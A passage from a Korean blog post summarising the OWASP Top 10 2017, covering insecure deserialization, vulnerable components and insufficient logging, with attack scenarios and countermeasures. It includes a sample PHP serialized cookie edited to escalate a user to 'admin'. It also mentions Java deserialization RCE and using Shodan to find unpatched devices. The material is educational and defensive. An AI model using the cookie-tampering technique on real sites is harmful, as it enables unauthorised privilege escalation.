# 시나리오1: React 애플리케이션은 일련의Spring Boot 마이크로 서비스를 호출합니다. 기능적프로그래머이기때문에코드가변경되지 않도록 노력했습니다. 이들이 제기한 해결책은 사용자 상태를 일련 번호로 변환하고 각 요청과 함께 앞뒤로 전달하는 것입니다. 공격자는 "R00“ 자바객체 서명을 확인하고 자바 직렬 킬러도구를 사용하여 애플리케이션서버에서원격코드실행을얻습니다.
# 시나리오2: PHP 포럼은PHP 객체 직렬화를 사용하여 사용자의 사용자 ID, 역할, 암호, 해시 및 기타상태를 포함하는“super“ 쿠키를 저장 합니다: a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user"; i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";} 공격자는 직렬화된 객체를 변경하여 관리자 권한을 부여합니다:
a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin"; i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
 
4) 공격 대응 방법
신뢰할수 없는 출처로부터 직렬화 된 객체를 허용하지 않거나 원시 데이터 유형만을 허용하는 직렬화 매체를 사용하는 것이 안전한 아키텍처의 유일한 패턴입니다. 그럴수 없다면 다음 중 하나 이상을 고려하십시오.
악성 객체생성이나 데이터 변조를 방지하기 위해 직렬화된 객체에 대한 디지털 서명과 같은 무결성 검사를 구현합니다.
객체 생성 전 코드가 일반적으로 정의 할 수 있는 클래스 집합을 기대하므로 역 직렬화 하는 동안 엄격한 형식 제약조건을 적용합니다. 이 기법에 대한 우회가 입증 되었으므로 여기에 의존하는 것은 바람직하지 않습니다.
가능하다면 낮은 권한 환경에서 역 직렬화하는 코드를 분리하여 실행합니다.
예상하지 않은 형식이 들어 올 경우나 역 직렬화가 예외를 생성 할 경우 등예 외나 실패에 대한 로그를 남깁니다.
역 직렬화 하는 컨테이너 또는 서버에서 들어오고 나가는 네 트워크 연결을 제한하거나 모니터링 합니다.
역 직렬화를 모니터링 하여 사용자가 역 직렬화를 지속적으로 할 경우에 경고합니다.
 
 
(9) A9 : 알려진 취약점이 있는 구성요소 사용
1) 공격의 개요 : 라이브러리, 프레임워크 및 다른 소프트웨어 모듈 같은 컴포넌트는 애플리케이션과 같은 권한으로 실행됩니다. 만약에 취약한 컴포넌트가 악용된 경우, 이는 심각한 데이터 손실을 일으키거나 서버가 장악됩니다. 알려진 취약점이 있는 컴포넌트를 사용한 애플리케이션과 API는 애플리케이션 방어를 약화시키거나 다양한 공격과 영향을 주게 합니다.
 
2) 공격의 발생 원인(취약점 등)
클라이언트와 서버 측면의 양쪽에서 사용하는 모든 구성 요소의 버전을 알지 못한다면, 취약할 가능성이 있습니다. 여기에는 직접 사용하는 구성 요소와 중첩된 종속성이 포함됩니다.
소프트웨어가 취약하거나, 지원되지 않거나, 오래된 버전인 경우, 취약할 가능성이 있습니다. 여기에는 운영체제, 웹/애플리케이션 서버, 데이터베이스 관리 시스템(DBMS), 애플리케이션, API와 모든 구성요소, 런타임 환경과 라이브러리 등이 포함됩니다.
정기적으로 취약점을 스캔하지 않거나, 사용 중인 컴포넌트와 관련된 보안 취약점 공지 서비스에 등록하지 않은 경우, 취약할 가능성이 있습니다.
위험 기반으로 적절한 시기에 플랫폼, 프레임워크와 종속성을 수정하거나 업그레이드하지 않은 경우, 취약할 가능성이 있습니다. 이는 패치 적용이 변경 통제 하에서 매월 또는 분기별 작업하는 환경에서 일반적으로 발생합니다. 이로 인해 조직은 며칠 또는 몇 달 동안 수정된 취약점에 불필요하게 노출될 수 있습니다.
소프트웨어 개발자가 업데이트된, 업그레이드된 혹은 패치된 라이브러리의 호환성을 테스트하지 않는다면 취약할 가능성이 있습니다.
구성요소의 구성 정보를 보호하지 않는다면, 취약할 가능성이 있습니다. (A6:2017-잘못된 보안 구성을 보십시오).
 
3) 공격 사례들
# 시나리오 1: 일반적으로 구성요소는 애플리케이션 자체와 동일한 권한으로 실행되므로 구성요소의 결함으로 인해 심각한 영향을 받을 수 있습니다. 이러한 결함은 실수(예: 코딩 오류) 또는 고의적(예: 구성 요소 내 백도어)일 수 있습니다. 발견된 악용 가능한 구성요소의 취약점의 예는 다음과 같습니다. :
CVE-2017-5638, 서버 상에서 임의 코드 실행을 가능케 했던 스트럿츠 2 원격코드 실행 취약점이 심각한 보안 사고로 인해 비난 받았습니다.
사물 인터넷(IoT)은 종종 패치하기 어렵거나 불가능하지만, 패치를 적용하는 것이 중요할 수 있습니다.(예: 생체 의료 장비).
공격자가 패치되지 않았거나 잘못 구성된 시스템을 찾는데 도움이 되는 자동화된 도구들이 있습니다. 예를 들면, Shodan IoT 검색 엔진은 2014년 4월에 패치된 하트블리드 취약점에 여전히 취약한 디바이스들을 찾는데 도움을 줄 수 있습니다.
 
4) 공격 대응 방법
패치 관리 프로세스가 있어야만 합니다: • 사용하지 않는 종속성, 불필요한 기능, 구성 요소, 파일과 문서 등을 제거하십시오.
versions, DependencyCheck, retire.js 와 같은 도구를 사용하여 클라이언트 및 서버 측의 구성 요소(예: 프레임워크, 라이브러리) 와 해당 종속성의 버전을 지속적으로 관리합니다. CVE 와 NVD로부터 구성요소 내 취약점을 지속적으로 모니터링 합니다. 소프트웨어 구성 분석 도구를 사용하여 프로세스를 자동화 하십시오. 사용하는 구성요소와 관련된 보안 취약점에 대한 전자메일 알림을 구독하십시오. • 안전한 링크를 통해 공식적인 출처로부터 구성 요소를 획득하십시오. 조작되거나, 악의적인 구성 요소가 포함될 가능성을 줄이기 위해 서명된 패키지를 사용하십시오.
유지 관리되지 않거나, 이전 버전의 보안 패치를 만들지 않는 라이브러리 및 구성 요소를 모니터링합니다. 패치가 불가능한 경우, 발견된 문제를 모니터링, 탐지 혹은 보호하기 위해 가상 패치를 배포하는 것을 고려하십시오.
모든 조직은 애플리케이션 혹은 포트폴리오의 수명 주기 동안 업데이트 또는 구성 변경을 모니터링, 검토 및 적용하기 위한 지속적인 계획이 있는지를 확실히 해야만 합니다.
 
(10) A10 : 불충분한 로깅 & 모니터링
1) 공격의 개요 : 불충분한 로깅과 모니터링은 사고 대응의 비효율적인 통합 또는 누락과 함께 공격자들이 시스템을 더 공격하고, 지속성을 유지하며, 더 많은 시스템을 중심으로 공격할 수 있도록 만들고, 데이터를 변조, 추출 또는 파괴할 수 있습니다. 대부분의 침해 사례에서 침해를 탐지하는 시간이 200일이 넘게 걸리는 것을 보여주고, 이는 일반적으로 내부 프로세스와 모니터링보다 외부 기관이 탐지합니다.
 
2) 공격의 발생 원인(취약점 등)
불충분한 로깅, 탐지, 모니터링과 유효한 응답은 언제나 발생합니다:
로그인, 로그인 실패, 그리고 높은 가치를 가진 트랜잭션들과 같은 감사해야 할 벤트들이 기록되지 않습니다.
경고 및 오류에 대해 로그 메시지가 없거나, 불충분하거나 불명확합니다.
의심스러운 활동에 대해 애플리케이션과 API의 로그를 모니터링하지 않습니다. 로그를 단지 로컬에만 저장합니다. • 적절한 경고 임계값과 응답 에스컬레이션 로세스가 적절하지 않거나 효과적이지 않습니다.
DAST 도구(예: OWASP ZAP)를 통한 침투 테스트 및 검사는 경고들을 추적하지 않습니다. • 애플리케이션은 실시간 혹은 거의 실시간으로 유효한 공격을 탐지, 에스컬레이션 또는 경고할 수 없습니다.
사용자나 공격자에게 로깅이나 경고 이벤트가 보여질 수 있다면, 정보 유출에 약합니다. (A3:2017-민감한 데이터 노출을 보십시오).
 
3) 공격 사례들
# 시나리오 1: 소규모 팀이 운영하는 오픈소스 프로젝트 포럼 소프트웨어는 그 소프트웨어 내 결함이 악용되어 해킹 당했습니다. 공격자는 다음 버전과 모든 포럼 내용이 포함된 내부 소스코드 저장소를 삭제했습니다. 소스코드를 복구할 수 있었지만, 모니터링, 로깅 혹은 경고의 부재는 훨씬 더 큰 불이익을 초래했습니다. 이 문제로 인해 포럼 소프트웨어 프로젝트가 더 이상 활성되지 않았습니다.
# 시나리오 2: 공격자는 공통 암호를 사용하는 사용자를 찾기 위해 스캔을 합니다. 이 암호를 사용하여 모든 계정을 탈취할 수 있습니다. 다른 모든 사용자의 경우, 이 스캔은 단지 하나의 잘못된 로그인 기록만을 남깁니다. 며칠 후 다른 비밀번호로 이 작업을 반복할 수 있습니다.
# 시나리오 3: 미국의 한 주요 소매 업체는 첨부 파일을 분석하는 내부 악성코드 분석 샌드박스를 갖고 있었습니다. 샌드박스 소프트웨어는 잠재적으로 원치않은 소프트웨어를 탐지했지만, 아무도 이 탐지에 대응하지 않았습니다. 샌드박스는 외부 은행에 의한 사기성 카드 거래로 인해 그 보안사고가 탐지되기 전까지 얼마 동안 경고를 표시했습니다.
 
4) 공격 대응 방법
애플리케이션에 의해 저장되거나 처리되는 데이터의 위험에 따라:
모든 로그인, 접근 통제 실패, 그리고 서버 측면의 입력값 검증 실패 등이 의심스럽거나 악의적인 계정을 식별할 수 있는 충분한 사용자 문맥으로 기록될 수 있는지 확실히 하십시오. 그리고 지연된 포렌식 분석을 허용할 수 있는 충분한 시간을 확보하십시오.
중앙 집중적 로그 관리 솔루션에 의해 쉽게 사용될 수 있는 형식으로 로그가 생성되는지 확실히 하십시오.
부가 가치가 높은 거래에는 단지 추가만 가능한 데이터베이스 테이블 혹은 유사한 것과 같은 변조나 삭제를 방지하기 위한 무결성 통제 기능을 갖춘 감사 추적 기능을 확실히 하십시오.
의심스러운 활동이 적시에 탐지되고 대응될 수 있도록 효과적인 모니터링 및 경고를 설정하십시오.
NIST 800-61 rev 2 이상과 같은 사고 대응 및 복구 계획을 수립하거나 채택하십시오.
OWASP AppSensor와 같은 상용 혹은 오픈소스 애플리케이션 보호 프레임워크, OWASP ModSecurity 핵심 룰셋을 가진 ModSecurity와 같은 웹 어프리케이션 방화벽, 그리고 개별 대쉬보드와 경고를 갖는 로그 상관분석 소프트웨어가 있습니다
출처 :  https://www.owasp.org/

[출처] [ 인터넷 보안 ] OWASP TOP10 에대해서 조사 및 분석|작성자 탱지